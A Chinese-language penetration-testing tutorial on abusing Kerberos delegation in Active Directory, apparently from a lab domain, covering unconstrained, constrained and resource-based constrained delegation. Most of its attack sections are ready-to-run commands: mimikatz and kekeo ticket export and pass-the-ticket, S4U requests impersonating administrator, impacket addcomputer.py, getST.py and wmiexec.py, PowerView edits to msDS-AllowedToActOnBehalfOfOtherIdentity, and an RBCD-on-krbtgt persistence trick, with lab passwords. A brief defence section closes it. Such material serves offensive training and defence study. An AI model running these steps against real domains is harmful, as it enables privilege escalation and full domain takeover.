委派简介
如下图:
客户端想要访问www.xxxx.com,这个网站去下载一个文件,而文件在文件服务器上面,这时候客户端无法直接拿到这个文件,所以就委托HTTP服务器帮客户端把文件文件拿到,然后给客户端。
这里提到了一个关键词是委托,说的简单点就是比如说自己手里有点事走不开,但是自己饿了,想吃饭,所以我把钱给我同事,并且委托我同事去帮忙买个饭,店里将饭做好之后交给我同事,然后我同事交给我。
再比如说域内用户A使用Kerberos协议认证之后访问域内的服务B,但是服务B并没有用户A想要的东西,所以服务B拿着用户A的身份去请求域内的服务C,最后拿到文件之后返回,这就是一个委派的过程。
委派的分类
非约束性委派(Unconstrained Delegation )
约束性委派( Constrained Delegation)
基于资源的约束性委派(RBCD: Resource Based Constrained Delegation)
委派的前提
在域内只有机器账户和服务账户才有委派属性,这里的服务账户想必在SPN那一章已经看到过了,服务账户其实就是运行服务时使用的账户,比如SQLserver运行时,他会有一个服务账户,而且域用户注册SPN之后也可以成为服务账户。
设置了敏感账户,不能被委派,这个账户选项的账户是不能被委派的。
例如:
非约束委派
在Windows Server2000首次发布Active Directory时,Microsoft就提供了一种简单的机制来支持用户可以通过Kerberos协议向Web Server服务进行身份验证,验证通过之后,需要让Web Server服务代表用户更新后端数据库上的记录方案。
这就是典型的委托过程,委托人是用户,被委托的是Web Server服务,请求的资源是后端数据库上的记录方案。
那么Web Server服务去代表用户去访问后端数据库上的方案的时候,怎么能证明他代表的是用户的呢?
那么当用户通过Kerberos协议身份验证通过之后,Web Server服务账户会获取用户(被委托人)的TGT,并将TGT缓存到LSASS进程中,从而Web Server服务账户就可以使用用户(被委托人)访问任意的服务了。注意这里是任意,在约束委派哪里还会说到。
如何发现设置了约束委派的机器账户或服务账户呢?
当一个机器账户或服务账户设置了非约束委派,那么在他的userAccountControl属性中有一个Flag位,WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。
当一个服务账户配置了非约束性委派属性的服务账号的userAccountControl 属性有个Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=524800。
所以我们可以通过这个属性值来进行查找非约束委派。
AdFind.exe -b "DC=relaysec,DC=com" -f "(&(samAccountType=805306369) (userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
如上图可以看到查找出来两台机器是设置了非约束委派的,DC和WIN2012,也就是说DC是默认设置了非约束委派的。
查找域中配置非约束委派的账户:
AdFind.exe -b "DC=yokan,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
ldapsearch:
ldapsearch -x -H ldap://10.211.1.210:389 -D "CN=win7,CN=Users,DC=relaysec,DC=com" -w Admin123.. -b"DC=relaysec,DC=com""(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
非约束性委派大致流程
用户User访问服务A,首先进行Kerberos认证,认证成功之后,用户将自己的TGT认购权证放在ST票据中一同发送给服务A,这样服务A在验证ST服务票据的同时也获取到了用户User的TGT,服务A会将TGT缓存在本地的LSASS进程中,从而服务A就可以模拟用户User来机型访问任意服务了。
那么这期间哪里会出安全问题呢?
假如说攻击者拿到了一台配置了非约束委派的机器权限,那么就可以诱导管理员来访问该机器,从而获取到管理员的TGT,然后就可以模拟管理员来访问域内的任意服务了。
也就是说只要这个机器设置了非约束委派,那么无论谁来访问,只要认证通过之后,这台非约束委派机器都会存储对方的TGT。
非约束委派攻击
那么我们使用DC来去访问WIN2012的CIFS服务。(这里如果访问不到的话,可能是防火墙的原因,还有一点就是需要使用域名方式访问,不能使用IP。)
紧接着使用mimikatz,导出票据。
privilege::debug
sekurlsa::tickets /expor
导出域管的票据之后,我们将这个票据注入到内存。查看票据,紧接着访问域控尝试,可以我导入票据使用的是kekeo。他和mimikatz是差不多的,此时就可以直接访问域控的CIFS服务了。
kerberos::ptt xxx.kirbi
kerberos::list
这样的会显得有点鸡肋,因为需要域控制器主动向我们这台设置了非约束委派的机器请求服务。
当然也可以配置打印服务来进行攻击,这里就不详细说了,大家可以看网上的文章,反正蛮多了。说多了都是废话。
约束性委派攻击
由于非约束委派不安全,所以微软在windows Server 2003中推出了约束性委派,同时为了能让kerberos协议层面对约束性委派支持,微软扩展出了两个子协议,S4u2Self(Service for User to Self) 和 S4u2Proxy (Service for User to Proxy ),这两个扩展协议都允许服务端代表用户去从KDC请求票据。
S4u2Self可以代表自身请求针对于自身的Kerberos服务票据(ST1),S4U2proxy可以以用户的名义请求其它服务的ST2,约束委派就是限制了S4U2proxy扩展的范围, 只能模拟该用户访问特定的服务。
还记得我们在非约束委派说过的吗?非约束性委派的服务账户可以访问任意的服务,但是约束性委派规定什么你就访问什么。也就是访问特定的服务。
S4U2Self
当用户完成了kerberos身份验证之后,首先将TGT发送给ServiceA,ServiceA使用用户的TGT向KDC请求用户的可转发的ST1票据,KDC返回给ServiceA一个用于用户验证ServiceA的ST1,这时候ServiceA就可以使用ST1中的授权数据来满足用户,然后响应用户。
S4U2Proxy
用户向ServiceA发出请求,ServiceA需要以用户身份访问ServiceB上的资源。
ServiceA以用户的身份向KDC请求访问用户到ServiceB的ST2票据。
如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2票据给serviceA,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是serviceA的身份。
serviceA使用ST2以用户的名义向serviceB发送请求,并判定用户已由KDC进行身份验证。
serviceB响应请求。
serviceA响应用户的请求。
再理解
如下图:
当用户A去访问ServiceA的时候,首先Kerberos认证,然后紧接着用户拿着TGT去访问ServiceA,那么ServiceA如果开启了约束性委派的话,那么ServiceA就可以代表访问到该服务的用户请求针对其自身的ST服务票据了,也就是说ServiceA以S4u2Self的方式向KDC请求了一张,以用户身份访问自身服务并且可转发的票据,实际上还是访问的ServiceA,但是借助了用户的授权数据,如果用户不是通过kerberos认证的,而是通过其他方式,比如web,ntlm等方式,是获取不到访问ServiceA自身的ST票据的,所以s4u2self就是用来解决这个问题的,这里我们就知道了为什么要去请求一张访问自身且可转发的票据了。
紧接着就可以通过S4U2Proxy协议,以用户的名义去请求其他服务的ST服务票据了。
协议转换
协议转换 (S4U2Self/TrustedToAuthForDelegation): S4U2Proxy 要求服务在身份验证服务为用户向另一个服务生成 TGS 之前向其自身提供用户的 TGS。它通常被称为“附加票证”,但我喜欢将其称为“证据”,即用户确实已通过调用 S4U2Proxy 的服务进行身份验证。但是,有时用户通过其他协议对服务进行身份验证,例如 NTLM 甚至基于表单的身份验证,因此他们不会向服务发送 TGS。在这种情况下,服务可以调用 S4U2Self 来要求身份验证服务为其自身生成任意用户的 TGS,然后可以在调用 S4U2Proxy 时将其用作“证据”。此功能允许凭空冒充用户,并且只有在为调用 S4U2Self 的服务帐户设置了 TrustedToAuthForDelegation 标志时才有可能。
约束性委派和非约束性委派的区别
约束性委派获取到的是TGS,所以只能以用户的身份访问特定的服,也就是再模拟用户的同时,对能访问的服务范围进行了限制,而非约束性委派不一样,他获取到的是TGT,只要有人访问它,它会直接将TGT缓存到本地的LSASS进程中。
约束性委派设置
我们这里将hack用户设置为一个服务账户。因为服务账户才可以设置委派。
可以看到这里已经有委派的选项了。
当我将servicePrincipalName属性里面的值删掉之后,你会发现委派选项不见了。
那么我们这里添加完SPN之后,hack就变成了服务账户,然后我们添加委派。
我们添加一个服务账户hack对DC的特定服务CIFS的约束性委派。
当服务账号或者主机被设置为约束性委派时,其userAccountControl属性会包含TRUSTED_TO_AUTH_FOR_DELEGATION
而且msDS-AllowedToDelegateTo属性会包含被约束的特定服务
约束性委派的发现
这里我们可以通过BloodHound来进行发现。
可以看到这里设置了Service Principal Names表示hack这个账户是一个服务账户,并且允许委派到DC.relaysec.com的cifs服务。
并且如下图表示它是受限的委派,也就是约束性委派。
利用Ldap
ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
约束委派机器:
ldapsearch -x -H ldap://域控ip:389 -D "域内用户@域名称" -b "DC=域名,DC=域名后缀" -w 域用户密码 "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
利用AdFind
AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
约束委派机器:
AdFind.exe -b "DC=域名,DC=域名后缀" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
利用goDomain
./goDomain -username 域名\域用户名 -password 域用户密码 -base-dn dc=xx,dc=com(域名后缀) -host LDAP服务器ip(域控) -get-delegation-computers
约束性委派的利用
当你获取到约束性委派的服务账户的密码或者Hash的时候,就可以伪造S4U2请求,以任意用户的身份申请访问服务的ST。
使用kekeo请求约束性委派服务用户的TGT
已知明文:
tgt::ask /user:约束性委派服务用户名 /domain:域名全成称 /password:约束性委派服务用户密码 /ticket:test2tgt.kirbi
已知Hash
tgt::ask /user:约束性委派服务用户名 /domain:域名全成称 /ntlm:约束性委派服务用户hash /ticket:test2tgt.kirbi
抓包:
可以看到请求TGT的用户名是hack。
得到服务用户hack的TGT后,伪造s4u请求以域管权限访问cifs服务的TGS
Tgs::s4u /tgt:TGT_test2@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /user:administrator@域名全称 /service:cifs/域控主机名.域名全称
然后会生成两个TGS
抓包:
hack用户用上一步得到的TGT,用上S4U2Self协议,以administrator的名义向TGS申请一张访问自身服务并且可转发的ST1票据。
TGS_REP:
TGS返回administrator的ST1票据给hack。
TGS_REQ
hack用户拿到了administrator的ST1票据后,hack带上这张可转发的访问自身服务的票据 ,用上S4U2Proxy协议,以administrator用户的名义请求一张访问DC的CIFS服务的ST2票据
TGS返回以administrator用户访问DC的CIFS服务的票据。最后返回服务A到服务B的ST。
通过流程可以看出,第一步生成的可转发的ST1只是为了请求第二步以administrator用的名义请求一张访问WIN-KONG的CIFS服务的ST2票据。
最后注入票据即可。
访问域控:
基于资源的约束性委派
为了配置约束性委派,必须拥有SeEnableDelegation特权,而这个特权只有域管理员才会拥有,所以为了赋予用户或资源更更多的独立性,windows server2012引入了基于资源的约束委派,基于资源的约束委派允许资源配置受信任的账户委派给他们。
也就是说我们前面配置的非约束委派,约束委派,都是需要域管理员才能配置的,而基于资源的约束委派是不需要域管理员进行设置,而是把这个权限给予了机器的自身。
基于资源的约束委派只能运行再windows Server2012和Windows Server2012 R2及以上的控制器上配置。
约束委派和基于约束委派的区别
前者:通过服务A委派到服务B,实际是在服务A上增加TRUSTED_FOR_DELEGATION字段(非约束委派),TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION和msDS-AllowedToDelegateTo (约束委派)字段来达到委派的目的。
后者:通过服务B允许服务A委派到服务B,实际是通过服务B自身赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段,从而允许服务A对服务B的基于资源的约束委派。
所以当利用到基于资源的约束委派的时候,服务A的两个字段是没有赋值的,当这两个字段没有被赋值的时候,通过S4U2Self得到的ST服务票证是不可被转发的,而S4U2Proxy的作用就是将可转发的ST票据转发到其他服务进行委派认证的。但是:在基于资源的约束委派过程中,不可转发的ST仍可以通过S4U2Proxy转发到其他服务进行委派认证,并且最后还会返回一张可转发的ST服务票证。
因此,如果能够在服务B上配置允许服务A的基于资源的约束委派,那么就可以通过控制服务A使用S4U2Self向域控请求任意用户访问自身的服务票据,最后再使用S4U2Proxy转发此ST票据去请求访问服务B的可转发的ST服务票据,那么我们就可以模拟任意用户访问服务B了。这里可以以普通域用户的身份去创建机器账号作为服务A。
基于资源的约束性委派的优势
委派的权限授予给了拥有资源的后端,而不再是前端
约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,也就是拥有’将域机器加入域’的域用户和机器自身的权限。
基于资源的约束性委派利用条件
利用基于资源的约束委派(RBCD)需要2个条件:
拥有将域机器加入域的域用户的权限。(将机器B加入域的域用户拥有修改机器B的msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限。)
一个任意服务账户或者一个机器账户(每一个域用户都可以添加10个机器账户)
基于资源的约束性委派利用
通过AdFind查询将域机器拉入到域的用户:
AdFind.exe -b "DC=relaysec,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
可以看到USER-WIN2012是通过如下SID拉入到域的,还有DC我们发现是没有mS-DS-CreatorSID属性的,这就表示它是被域管拉入到域的。
查询SID对应的用户都是谁:
可以看到这个sid对应的displayName值是域用户-win2012,所以是这个域用户将USER-WIN2012这台机器拉入到域的。
比如说我们现在已经控制将了USER-WIN2012这条机器加入到域内的这个用户的权限。
我们也可以查询当前用户的SID。
whoami /all
同样可以通过用户的sid查看哪些域机器是通过自己(USER-WIN2012)加入到域内的:
AdFind.exe -b "DC=relaysec,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=用户的SID))" cn sAMAccountType objectCategory
在域内每一个普通域用户最多可以创建10个机器账户,这个数量是由域的ms-DS-MachineAccountQuota来决定的。
我们可以通过impacket包中的addconputer.py来进行创建机器账户。
python3 addcomputer.py -computer-name 'test' -computer-pass Admin123.. -dc-ip 10.211.1.210 relaysec.com/win:Admin123..
那么如果将这个属性改为0的话,他会报什么错呢?
如下报错:超过了用户win2012计算机配额!
创建完成之后,我们查询这个将这个机器账户加入域的SID。
在攻击之前我们需要搞清楚,服务A指的是攻击者自己创建的机器账户,服务B是目标机器。
我们现在就是想配置服务A到服务B基于资源的约束委派。
配置成功之后服务B的自身将赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段。
我们这里将test这个机器账户设置到USER-WIN2012$的基于资源的约束委派,也就是说在USER-WIN2012自身会赋予msDS-AllowedToActOnBehalfOfOtherIdentity字段。
首先查询test这个机器账户的sid。
这里使用Empire的powerview,如下下载。
https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
Import-Module .\powerview.ps1
Get-DomainComputer -Identity test
查询之后,设置test机器账户到USER-WIN2012的基于资源的约束委派并且查询。
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer USER-WIN2012| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
检查是否配置成功:
Get-DomainComputer USER-WIN2012 -Properties msds-allowedtoactonbehalfofotheridentity
也可以在域控上通过命令行打开adsiedit.msc查看CN=USER-WIN2012机器属性,可以看到:
清除基于资源的约束委派
Set-DomainObject USER-WIN2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose)
我们这里也可以直接使用工具来进行创建以及设置。
下载地址:https://github.com/tothi/rbcd-attack
添加机器账户,配置基于资源的约束委派,两条命令即可,很方便
攻击
使用rubeus获取票据
注意这个rubeus这个工具它需要.net3.5的支持,所以我们需要安装.net3.5,但是有时候会装不上去,所以需要离线安装包。
大家可以参考:http://www.taodudu.cc/news/show-1911958.html?action=onClick 进行安装。
Rubeus.exe hash /user:test /password:Admin123.. /domain:relaysec.com
注意这里的impersonateuser参数,表示他要伪造的账户是administrator
Rubeus.exe s4u /user:test$ /rc4:上一步获取的rc4密钥 /impersonateuser:administrator /msdsspn:cifs/USER-WIN2012 /ptt
我们查看Klist发现已经有了票据了。可以看到这里的客户端是administrator,这里的客户端是伪造的,也就是s4u2Self这一步伪造的任意用户。
这里现在就可以直接访问了。
但是我们在实际情况中,如果对方没有安装.net3.5的话。
我们可以使用impacket套件中的工具。
python3 getST.py -dc-ip 10.211.1.210 relaysec.com/test\$:Admin123.. -spn cifs/USER-WIN2012.relaysec.com -impersonate administrator
# 导入ST
export KRB5CCNAME=administrator.ccache
# WMI
python3 wmiexec.py administrator@USER-WIN2012.relaysec.com -k -no-pass
到这里我们来简单总结一下,如果要打基于资源的约束委派,比如说我要打win2012这台机器,那么我就需要知道是谁将这台机器加入域内的,也就是加入到域内的这个用户,这个账号和密码我们是需要知道的。
那么我们伪造的是域管的凭证只针对于win2012这台机器,并不是通用的,只针对于win2012这台机器的cifs服务。
每一个域用户都可以创建10个机器账户,但是如果它设置为0我们应该怎么处理。那么我们就不能创建一个虚拟的机器账户了。
针对于这个问题,我们有如下的解决方式,如果我们拿到一个域内的机器,那么它自身就是一个机器账户,我们可以将它的密码dump出来,然后进行来设置基于资源的委派。
还有就是在做实验的时候,需要将DNS解析指向域控,比如kali的。
不能创建机器账户
比如说我拿到一个域内的一台机器,使用mimikatz将密码导出,我们用这台机器当作一个机器用户,然后我们现在手中有将USER-WIN7这台机器加入域的账户和密码,那么我们就可以设置USER-WIN2012到USER-WIN7基于资源的委派。
查看USER-WIN2012的SID。
注意这里我使用的是win7用户。
然后进行配置
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer USER-WIN7| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
检查是否配置成功:
Get-DomainComputer USER-WIN7 -Properties msds-allowedtoactonbehalfofotheridentity
可以看到成功配置,这里一定要注意是win7,因为win7是将USER-WIN7加入到域内的用户,其他用户的话会返回拒绝访问。
但是这里机器账户的密码太多了,这里不建议。
基于资源的约束委派打造黄金票据
这里其实就是将你创建的test配置到krbtgt的基于资源的约束委派,只要有了test的权限,就能伪造任意用户请求krbtgt服务,则可以请求任意用户的TGT。
如下需要在DC上执行。
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
紧接着伪造administrator去访问krbtgt服务。
python3 getST.py -dc-ip 10.211.1.210 relaysec.com/test\$:Admin123.. -spn krbtgt -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 wmiexec.py administrator@DC.relaysec.com -k -no-pass
可以看到这个生成的票据是通用的。
防御
高权限账号设置禁止委派属性
微软推出了protected users组,组内用户不允许被委派,适用于Windows Server 2016,Windows Server 2012 R2、 Windows Server 2012
kerberos预认证不使用DES或RC4等加密算法(尽量使用AES256)同样能够预防Kerberoast攻击
参考:
https://developer.aliyun.com/article/1219773
https://www.cnblogs.com/zpchcbd/p/12939246.html
https://zhuanlan.zhihu.com/p/476094695